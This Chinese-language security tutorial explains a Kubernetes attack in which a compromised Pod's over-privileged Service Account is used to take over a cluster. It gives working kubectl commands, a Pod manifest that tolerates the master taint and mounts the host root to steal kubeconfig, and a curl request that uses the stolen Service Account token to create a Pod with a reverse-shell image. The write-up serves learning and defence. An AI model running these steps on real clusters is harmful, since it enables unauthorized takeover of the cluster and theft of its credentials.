01、概述
Service Account本质是服务账号，是Pod连接K8s集群的凭证。在默认情况下，系统会为创建的Pod提供一个默认的Service Account，用户也可以自定义Service Account，与Service Account关联的凭证会自动挂载到Pod的文件系统中。
当攻击者通过某个web应用获取到一个Pod权限时，如果RBAC权限配置不当，Pod关联的Service Account拥有创建Pod的权限。攻击者就可以使用污点容忍的方式，将挂载根目录的恶意Pod调度到Master节点，获取Master 节点上的 kubeconfig 文件，从而直接接管整个集群。
02、攻击场景
（1）Service Account赋予bypass对test名称空间拥有管理员权限。
kubectl create serviceaccount bypass -n test
kubectl create rolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=test:bypass -n test
kubectl get pod --as=system:serviceaccount:test:bypass
（2）在Pod中，使用自定义的Service Account。
# pod-sa.yaml
apiVersion: v1
kind: Pod
metadata:
name: pod-sa
namespace: test
spec:
serviceAccountName: "bypass"
containers:
- name: ubuntu
image: ubuntu:20.04
command: ['/bin/sh','-c','sleep 24h']（3）在Pod创建时，Service Account关联的凭证，会挂载到 /var/run/secrets/kubernetes.io/serviceaccount/ 目录，其中ca.crt是证书、namespace是Pod所属的命名空间，token是访问API Server的令牌 。
03、攻击过程
（1）攻击方式：kubectl 命令行操作
在Pod中，下载kubectl命令行工具，使用kubectl auth检查权限，拥有当前名称空间中所有执行操作的权限，这就具备了获取集群权限的条件。
编写一个yaml文件，将节点的根目录挂载到容器的/data 目录，使用污点容忍度创建恶意Pod来对Master节点进行横向控制。
如下图：将构建的Pod成功调度到Mater节点。
yaml文件内容：
apiVersion: v1
kind: Pod
metadata:
name: pod1
spec:
nodeSelector:
node-role.kubernetes.io/master: ""
tolerations:
- key: "node-role.kubernetes.io/master"
operator: "Exists"
effect: NoSchedule
containers:
- image: nginx:1.20
name: pod1
volumeMounts:
- mountPath: /data
name: data
volumes:
- name: data
hostPath:
path: /攻击者成功窃取 kubeconfig 文件，将获得对 Kubernetes 集群的完全控制权限，从而能够任意操控和管理整个集群。
（2）攻击方式：curl 命令操作
首先，创建一个包含恶意代码的镜像,用于反弹Shell，利用curl 命令操作 Kubernetes API创建Pod。
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
用curl创建pod
curl -k --header "Authorization: Bearer $TOKEN" \
-H 'Content-Type: application/yaml' \
-s -w "状态码是:%{http_code}\n" \
-d "$(cat /tmp/111.yaml)" \
https://10.96.0.1/api/v1/namespaces/test/pods/远程监听端口来接收Master节点创建的Pod反弹的shell连接，成功获取到kubeconfig文件。
